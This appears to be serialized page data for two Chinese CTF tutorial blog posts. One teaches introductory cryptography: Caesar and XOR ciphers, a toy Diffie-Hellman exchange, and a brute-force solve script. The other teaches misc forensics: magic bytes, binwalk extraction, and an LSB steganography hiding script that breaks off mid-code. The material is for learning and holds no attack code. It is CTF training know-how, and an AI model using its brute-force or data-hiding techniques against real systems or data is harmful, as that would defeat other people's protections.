简介",[15,3741,3742,3743,85],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[26,3744,3745],{},"xortool",[19,3747,3749],{"className":152,"code":3748,"language":154,"meta":24,"style":24},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[26,3750,3751,3761],{"__ignoreMap":24},[29,3752,3753,3756,3758],{"class":31,"line":32},[29,3754,3755],{"class":161},"pip",[29,3757,1230],{"class":169},[29,3759,3760],{"class":169}," xortool\n",[29,3762,3763,3765,3768,3771,3774],{"class":31,"line":38},[29,3764,3745],{"class":161},[29,3766,3767],{"class":165}," -x",[29,3769,3770],{"class":165}," -c",[29,3772,3773],{"class":165}," 20",[29,3775,3776],{"class":169}," cipher.bin\n",[10,3778,3780],{"id":3779},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3782,3783],{},"每个字母平移固定位数：",[19,3785,3787],{"className":311,"code":3786,"language":313,"meta":24,"style":24},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[26,3788,3789,3794,3799,3804,3809,3814,3819,3824,3829,3834,3838,3843],{"__ignoreMap":24},[29,3790,3791],{"class":31,"line":32},[29,3792,3793],{},"def caesar(s, shift):\n",[29,3795,3796],{"class":31,"line":38},[29,3797,3798],{},"    out = \"\"\n",[29,3800,3801],{"class":31,"line":104},[29,3802,3803],{},"    for c in s:\n",[29,3805,3806],{"class":31,"line":110},[29,3807,3808],{},"        if c.isalpha():\n",[29,3810,3811],{"class":31,"line":116},[29,3812,3813],{},"            base = ord('a') if c.islower() else ord('A')\n",[29,3815,3816],{"class":31,"line":122},[29,3817,3818],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[29,3820,3821],{"class":31,"line":128},[29,3822,3823],{},"        else:\n",[29,3825,3826],{"class":31,"line":134},[29,3827,3828],{},"            out += c\n",[29,3830,3831],{"class":31,"line":140},[29,3832,3833],{},"    return out\n",[29,3835,3836],{"class":31,"line":146},[29,3837,101],{"emptyLinePlaceholder":100},[29,3839,3840],{"class":31,"line":367},[29,3841,3842],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[29,3844,3845],{"class":31,"line":373},[29,3846,3847],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3849,3477],{},[19,3851,3854],{"className":3852,"code":3853,"language":211,"meta":24},[209],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[26,3855,3853],{"__ignoreMap":24},[10,3857,3859],{"id":3858},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[1268,3861,3863],{"id":3862},"_51-要解决的问题","5.1 要解决的问题",[15,3865,3866],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[1268,3868,3870],{"id":3869},"_52-流程","5.2 流程",[15,3872,3873,3875],{},[187,3874,189],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3877,3878,3880],{},[187,3879,255],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[623,3882,3883,3891,3900,3908],{},[61,3884,3885,3886,3888,3889,389],{},"双方公开约定大素数 ",[26,3887,15],{}," 与生成元 ",[26,3890,1190],{},[61,3892,3893,3894,3896,3897,389],{},"Alice 选私钥 ",[26,3895,3545],{},"，发送 ",[26,3898,3899],{},"A = g^a mod p",[61,3901,3902,3903,3896,3905,389],{},"Bob 选私钥 ",[26,3904,2090],{},[26,3906,3907],{},"B = g^b mod p",[61,3909,3910,3911,3914,3915,3918,3919,389],{},"双方分别计算 ",[26,3912,3913],{},"B^a mod p"," 与 ",[26,3916,3917],{},"A^b mod p","，得到相同值 ",[26,3920,3921],{},"g^(ab) mod p",[1268,3923,3925],{"id":3924},"_53-最小实现","5.3 最小实现",[19,3927,3929],{"className":311,"code":3928,"language":313,"meta":24,"style":24},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[26,3930,3931,3936,3941,3946,3951,3956,3960,3965,3970,3975,3980,3985,3989,3994,3999,4004,4009,4014,4018,4023,4029,4035,4041,4047],{"__ignoreMap":24},[29,3932,3933],{"class":31,"line":32},[29,3934,3935],{},"p, g = 0xffffffffffffffc5, 2\n",[29,3937,3938],{"class":31,"line":38},[29,3939,3940],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[29,3942,3943],{"class":31,"line":104},[29,3944,3945],{},"# g：生成元，双方公开约定。\n",[29,3947,3948],{"class":31,"line":110},[29,3949,3950],{},"a, b = 1234567, 7654321\n",[29,3952,3953],{"class":31,"line":116},[29,3954,3955],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[29,3957,3958],{"class":31,"line":122},[29,3959,101],{"emptyLinePlaceholder":100},[29,3961,3962],{"class":31,"line":128},[29,3963,3964],{},"A = pow(g, a, p)\n",[29,3966,3967],{"class":31,"line":134},[29,3968,3969],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[29,3971,3972],{"class":31,"line":140},[29,3973,3974],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[29,3976,3977],{"class":31,"line":146},[29,3978,3979],{},"B = pow(g, b, p)\n",[29,3981,3982],{"class":31,"line":367},[29,3983,3984],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[29,3986,3987],{"class":31,"line":373},[29,3988,101],{"emptyLinePlaceholder":100},[29,3990,3991],{"class":31,"line":379},[29,3992,3993],{},"s_alice = pow(B, a, p)\n",[29,3995,3996],{"class":31,"line":775},[29,3997,3998],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[29,4000,4001],{"class":31,"line":781},[29,4002,4003],{},"s_bob = pow(A, b, p)\n",[29,4005,4006],{"class":31,"line":786},[29,4007,4008],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[29,4010,4011],{"class":31,"line":2600},[29,4012,4013],{},"# 两个结果相等，这就是共享密钥。\n",[29,4015,4016],{"class":31,"line":2606},[29,4017,101],{"emptyLinePlaceholder":100},[29,4019,4020],{"class":31,"line":2611},[29,4021,4022],{},"print(\"A =\", A)\n",[29,4024,4026],{"class":31,"line":4025},20,[29,4027,4028],{},"print(\"B =\", B)\n",[29,4030,4032],{"class":31,"line":4031},21,[29,4033,4034],{},"print(\"Alice 计算:\", s_alice)\n",[29,4036,4038],{"class":31,"line":4037},22,[29,4039,4040],{},"print(\"Bob 计算:\", s_bob)\n",[29,4042,4044],{"class":31,"line":4043},23,[29,4045,4046],{},"print(\"一致:\", s_alice == s_bob)\n",[29,4048,4050],{"class":31,"line":4049},24,[29,4051,4052],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,4054,3477],{},[19,4056,4059],{"className":4057,"code":4058,"language":211,"meta":24},[209],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[26,4060,4058],{"__ignoreMap":24},[15,4062,4063,4064,4067,4068,4070],{},"窃听者只能看到 ",[26,4065,4066],{},"p, g, A, B","，要算出 ",[26,4069,3545],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,4072,2133],{"id":2132},[1268,4074,4076],{"id":4075},"工具-1cyberchef","工具 1：CyberChef",[15,4078,4079],{},"浏览器工具，三个常用操作：",[455,4081,4082,4092],{},[458,4083,4084],{},[461,4085,4086,4089],{},[464,4087,4088],{},"操作",[464,4090,4091],{},"用法",[471,4093,4094,4102,4110],{},[461,4095,4096,4099],{},[476,4097,4098],{},"From Base64",[476,4100,4101],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[461,4103,4104,4107],{},[476,4105,4106],{},"From Hex",[476,4108,4109],{},"拖入 From Hex 解码十六进制",[461,4111,4112,4115],{},[476,4113,4114],{},"Magic",[476,4116,4117],{},"直接粘贴未知文本，自动猜测编码方式",[1268,4119,4121],{"id":4120},"工具-2python-标准库","工具 2：Python 标准库",[19,4123,4125],{"className":311,"code":4124,"language":313,"meta":24,"style":24},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[26,4126,4127,4132,4136,4141,4146],{"__ignoreMap":24},[29,4128,4129],{"class":31,"line":32},[29,4130,4131],{},"import base64, binascii\n",[29,4133,4134],{"class":31,"line":38},[29,4135,101],{"emptyLinePlaceholder":100},[29,4137,4138],{"class":31,"line":104},[29,4139,4140],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[29,4142,4143],{"class":31,"line":110},[29,4144,4145],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[29,4147,4148],{"class":31,"line":116},[29,4149,4150],{},"print(ord('A'))                       # 65，ASCII 编码\n",[1268,4152,4154],{"id":4153},"工具-3pycryptodome","工具 3：pycryptodome",[15,4156,4157],{},"CTF 密码学最常用的库，三个函数：",[19,4159,4161],{"className":311,"code":4160,"language":313,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[26,4162,4163,4168,4172,4177,4182],{"__ignoreMap":24},[29,4164,4165],{"class":31,"line":32},[29,4166,4167],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[29,4169,4170],{"class":31,"line":38},[29,4171,101],{"emptyLinePlaceholder":100},[29,4173,4174],{"class":31,"line":104},[29,4175,4176],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[29,4178,4179],{"class":31,"line":110},[29,4180,4181],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[29,4183,4184],{"class":31,"line":116},[29,4185,4186],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4188,3477],{},[19,4190,4193],{"className":4191,"code":4192,"language":211,"meta":24},[209],"5\nb'flag'\n1718378855\n",[26,4194,4192],{"__ignoreMap":24},[10,4196,4198],{"id":4197},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4200,4201],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[19,4203,4205],{"className":4204,"code":3624,"language":211,"meta":24},[209],[26,4206,3624],{"__ignoreMap":24},[15,4208,4209],{},"解题脚本：",[15,4211,4212,4214,4215,4217],{},[187,4213,255],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[26,4216,3643],{}," 前缀过滤正确结果。",[19,4219,4221],{"className":311,"code":4220,"language":313,"meta":24,"style":24},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[26,4222,4223,4228,4233,4237,4242,4246,4250,4254,4259,4263,4268,4273],{"__ignoreMap":24},[29,4224,4225],{"class":31,"line":32},[29,4226,4227],{},"from binascii import unhexlify\n",[29,4229,4230],{"class":31,"line":38},[29,4231,4232],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[29,4234,4235],{"class":31,"line":104},[29,4236,101],{"emptyLinePlaceholder":100},[29,4238,4239],{"class":31,"line":110},[29,4240,4241],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[29,4243,4244],{"class":31,"line":116},[29,4245,101],{"emptyLinePlaceholder":100},[29,4247,4248],{"class":31,"line":122},[29,4249,3672],{},[29,4251,4252],{"class":31,"line":128},[29,4253,3682],{},[29,4255,4256],{"class":31,"line":134},[29,4257,4258],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[29,4260,4261],{"class":31,"line":140},[29,4262,3697],{},[29,4264,4265],{"class":31,"line":146},[29,4266,4267],{},"        print(\"key =\", k)          # 预期 66\n",[29,4269,4270],{"class":31,"line":367},[29,4271,4272],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[29,4274,4275],{"class":31,"line":373},[29,4276,382],{},[15,4278,3477],{},[19,4280,4282],{"className":4281,"code":3727,"language":211,"meta":24},[209],[26,4283,3727],{"__ignoreMap":24},[10,4285,2426],{"id":2425},[15,4287,4288],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1114,4290,4291],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":24,"searchDepth":38,"depth":38,"links":4293},[4294,4295,4296,4297,4298,4299,4300,4301],{"id":3313,"depth":104,"text":3314},{"id":1213,"depth":104,"text":1214},{"id":3553,"depth":104,"text":3554},{"id":3779,"depth":104,"text":3780},{"id":3858,"depth":104,"text":3859},{"id":2132,"depth":104,"text":2133},{"id":4197,"depth":104,"text":4198},{"id":2425,"depth":104,"text":2426},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1132,"image":1133,"alt":4304,"tags":4305,"published":100},"CTF 密码学入门",[1136,4306,1138],"crypto","/blogs/ctf-crypto-overview",{"title":3308,"description":4302},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4312,"title":4313,"body":4314,"description":5267,"extension":1130,"meta":5268,"navigation":100,"ogImage":5269,"path":5273,"seo":5274,"stem":5275,"__hash__":5276},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":4315,"toc":5257},[4316,4320,4330,4333,4393,4395,4428,4432,4436,4441,4446,4458,4460,4466,4473,4496,4500,4505,4528,4530,4536,4546,4550,4555,4566,4587,4590,4594,4597,4610,4612,4618,4621,4635,4642,4649,4660,4664,4668,4671,4677,4680,4684,4689,4892,4905,4909,4914,4919,5049,5051,5057,5061,5086,5092,5094,5165,5169,5174,5177,5188,5193,5196,5214,5217,5220,5230,5233,5236,5241,5243,5254],[10,4317,4319],{"id":4318},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4321,4322,4323,4326,4327,389],{},"操作系统按扩展名选择打开程序（",[26,4324,4325],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[187,4328,4329],{},"先看文件头，再信扩展名",[15,4331,4332],{},"必须记住的三个文件头：",[455,4334,4335,4348],{},[458,4336,4337],{},[461,4338,4339,4342,4345],{},[464,4340,4341],{},"文件",[464,4343,4344],{},"文件头（hex）",[464,4346,4347],{},"明文",[471,4349,4350,4365,4378],{},[461,4351,4352,4355,4360],{},[476,4353,4354],{},"PNG",[476,4356,4357],{},[26,4358,4359],{},"89 50 4E 47 0D 0A 1A 0A",[476,4361,4362],{},[26,4363,4364],{},"‰PNG",[461,4366,4367,4370,4375],{},[476,4368,4369],{},"JPEG",[476,4371,4372],{},[26,4373,4374],{},"FF D8 FF",[476,4376,4377],{},"—",[461,4379,4380,4383,4388],{},[476,4381,4382],{},"ZIP",[476,4384,4385],{},[26,4386,4387],{},"50 4B 03 04",[476,4389,4390],{},[26,4391,4392],{},"PK",[10,4394,1214],{"id":1213},[19,4396,4398],{"className":152,"code":4397,"language":154,"meta":24,"style":24},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[26,4399,4400,4419],{"__ignoreMap":24},[29,4401,4402,4404,4406,4408,4410,4413,4416],{"class":31,"line":32},[29,4403,1227],{"class":161},[29,4405,1230],{"class":169},[29,4407,1233],{"class":169},[29,4409,1236],{"class":169},[29,4411,4412],{"class":169}," binwalk",[29,4414,4415],{"class":169}," foremost",[29,4417,4418],{"class":169}," exiftool\n",[29,4420,4421,4423,4425],{"class":31,"line":38},[29,4422,2508],{"class":161},[29,4424,1230],{"class":169},[29,4426,4427],{"class":169}," pillow\n",[10,4429,4431],{"id":4430},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[1268,4433,4435],{"id":4434},"_31-file看真实类型","3.1 file：看真实类型",[15,4437,4438,4440],{},[187,4439,189],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4442,4443,4445],{},[187,4444,1749],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[19,4447,4449],{"className":152,"code":4448,"language":154,"meta":24,"style":24},"file hidden.png\n",[26,4450,4451],{"__ignoreMap":24},[29,4452,4453,4455],{"class":31,"line":32},[29,4454,1283],{"class":161},[29,4456,4457],{"class":169}," hidden.png\n",[15,4459,3477],{},[19,4461,4464],{"className":4462,"code":4463,"language":211,"meta":24},[209],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[26,4465,4463],{"__ignoreMap":24},[15,4467,4468,4469,4472],{},"如果输出是 ",[26,4470,4471],{},"Zip archive data","，说明文件其实是 zip：",[19,4474,4476],{"className":152,"code":4475,"language":154,"meta":24,"style":24},"mv flag.png flag.zip && unzip flag.zip\n",[26,4477,4478],{"__ignoreMap":24},[29,4479,4480,4483,4486,4489,4491,4493],{"class":31,"line":32},[29,4481,4482],{"class":161},"mv",[29,4484,4485],{"class":169}," flag.png",[29,4487,4488],{"class":169}," flag.zip",[29,4490,1881],{"class":1189},[29,4492,1858],{"class":161},[29,4494,4495],{"class":169}," flag.zip\n",[1268,4497,4499],{"id":4498},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4501,4502,4504],{},[187,4503,189],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[19,4506,4508],{"className":152,"code":4507,"language":154,"meta":24,"style":24},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[26,4509,4510,4523],{"__ignoreMap":24},[29,4511,4512,4515,4518,4521],{"class":31,"line":32},[29,4513,4514],{"class":161},"xxd",[29,4516,4517],{"class":165}," -l",[29,4519,4520],{"class":165}," 16",[29,4522,4457],{"class":169},[29,4524,4525],{"class":31,"line":38},[29,4526,4527],{"class":823},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4529,3477],{},[19,4531,4534],{"className":4532,"code":4533,"language":211,"meta":24},[209],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[26,4535,4533],{"__ignoreMap":24},[15,4537,4538,4539,4542,4543,389],{},"开头的 ",[26,4540,4541],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[26,4544,4545],{},".PNG",[1268,4547,4549],{"id":4548},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4551,4552,4554],{},[187,4553,189],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4556,4557,85,4559,4561,4562,4565],{},[187,4558,255],{},[26,4560,1326],{}," 把可打印字符串抽出来，",[26,4563,4564],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[19,4567,4569],{"className":152,"code":4568,"language":154,"meta":24,"style":24},"strings flag.png | grep -i flag\n",[26,4570,4571],{"__ignoreMap":24},[29,4572,4573,4575,4577,4579,4581,4584],{"class":31,"line":32},[29,4574,1326],{"class":161},[29,4576,4485],{"class":169},[29,4578,1514],{"class":1182},[29,4580,1517],{"class":161},[29,4582,4583],{"class":165}," -i",[29,4585,4586],{"class":169}," flag\n",[15,4588,4589],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4591,4593],{"id":4592},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4595,4596],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[19,4598,4600],{"className":152,"code":4599,"language":154,"meta":24,"style":24},"binwalk flag.png\n",[26,4601,4602],{"__ignoreMap":24},[29,4603,4604,4607],{"class":31,"line":32},[29,4605,4606],{"class":161},"binwalk",[29,4608,4609],{"class":169}," flag.png\n",[15,4611,385],{},[19,4613,4616],{"className":4614,"code":4615,"language":211,"meta":24},[209],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[26,4617,4615],{"__ignoreMap":24},[15,4619,4620],{},"提取：",[19,4622,4624],{"className":152,"code":4623,"language":154,"meta":24,"style":24},"binwalk -e flag.png\n",[26,4625,4626],{"__ignoreMap":24},[29,4627,4628,4630,4633],{"class":31,"line":32},[29,4629,4606],{"class":161},[29,4631,4632],{"class":165}," -e",[29,4634,4609],{"class":169},[15,4636,4637,4638,4641],{},"会在当前目录生成 ",[26,4639,4640],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4643,4644,4645,4648],{},"备选工具 ",[26,4646,4647],{},"foremost","（按文件头暴力切割）：",[19,4650,4652],{"className":152,"code":4651,"language":154,"meta":24,"style":24},"foremost flag.png\n",[26,4653,4654],{"__ignoreMap":24},[29,4655,4656,4658],{"class":31,"line":32},[29,4657,4647],{"class":161},[29,4659,4609],{"class":169},[10,4661,4663],{"id":4662},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[1268,4665,4667],{"id":4666},"_51-原理","5.1 原理",[15,4669,4670],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[19,4672,4675],{"className":4673,"code":4674,"language":211,"meta":24},[209],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[26,4676,4674],{"__ignoreMap":24},[15,4678,4679],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[1268,4681,4683],{"id":4682},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4685,4686,4688],{},[187,4687,189],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[19,4690,4692],{"className":311,"code":4691,"language":313,"meta":24,"style":24},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[26,4693,4694,4699,4704,4708,4713,4718,4723,4728,4732,4737,4742,4747,4752,4757,4762,4767,4772,4776,4781,4786,4791,4796,4801,4806,4811,4816,4822,4828,4833,4839,4845,4851,4857,4862,4868,4874,4880,4886],{"__ignoreMap":24},[29,4695,4696],{"class":31,"line":32},[29,4697,4698],{},"from PIL import Image\n",[29,4700,4701],{"class":31,"line":38},[29,4702,4703],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[29,4705,4706],{"class":31,"line":104},[29,4707,101],{"emptyLinePlaceholder":100},[29,4709,4710],{"class":31,"line":110},[29,4711,4712],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[29,4714,4715],{"class":31,"line":116},[29,4716,4717],{},"# Image.new(mode, size, color)：新建一张图片。\n",[29,4719,4720],{"class":31,"line":122},[29,4721,4722],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[29,4724,4725],{"class":31,"line":128},[29,4726,4727],{},"message = \"flag{lsb_steganography}\"\n",[29,4729,4730],{"class":31,"line":134},[29,4731,101],{"emptyLinePlaceholder":100},[29,4733,4734],{"class":31,"line":140},[29,4735,4736],{},"data = message.encode() + b'\\x00'\n",[29,4738,4739],{"class":31,"line":146},[29,4740,4741],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[29,4743,4744],{"class":31,"line":367},[29,4745,4746],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[29,4748,4749],{"class":31,"line":373},[29,4750,4751],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[29,4753,4754],{"class":31,"line":379},[29,4755,4756],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[29,4758,4759],{"class":31,"line":775},[29,4760,4761],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[29,4763,4764],{"class":31,"line":781},[29,4765,4766],{},"pixels = list(img.getdata())\n",[29,4768,4769],{"class":31,"line":786},[29,4770,4771],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[29,4773,4774],{"class":31,"line":2600},[29,4775,101],{"emptyLinePlaceholder":100},[29,4777,4778],{"class":31,"line":2606},[29,4779,4780],{},"new_pixels = []\n",[29,4782,4783],{"class":31,"line":2611},[29,4784,4785],{},"i = 0\n",[29,4787,4788],{"class":31,"line":4025},[29,4789,4790],{},"for r, g, b in pixels:\n",[29,4792,4793],{"class":31,"line":4031},[29,4794,4795],{},"    if i \u003C len(bits):\n",[29,4797,4798],{"class":31,"line":4037},[29,4799,4800],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[29,4802,4803],{"class":31,"line":4043},[29,4804,4805],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[29,4807,4808],{"class":31,"line":4049},[29,4809,4810],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[29,4812,4814],{"class":31,"line":4813},25,[29,4815,4795],{},[29,4817,4819],{"class":31,"line":4818},26,[29,4820,4821],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[29,4823,4825],{"class":31,"line":4824},27,[29,4826,4827],{},"        # 绿色通道同样处理。\n",[29,4829,4831],{"class":31,"line":4830},28,[29,4832,4795],{},[29,4834,4836],{"class":31,"line":4835},29,[29,4837,4838],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[29,4840,4842],{"class":31,"line":4841},30,[29,4843,4844],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[29,4846,4848],{"class":31,"line":4847},31,[29,4849,4850],{},"    new_pixels.append((r, g, b))\n",[29,4852,4854],{"class":31,"line":4853},32,[29,4855,4856],{},"    # 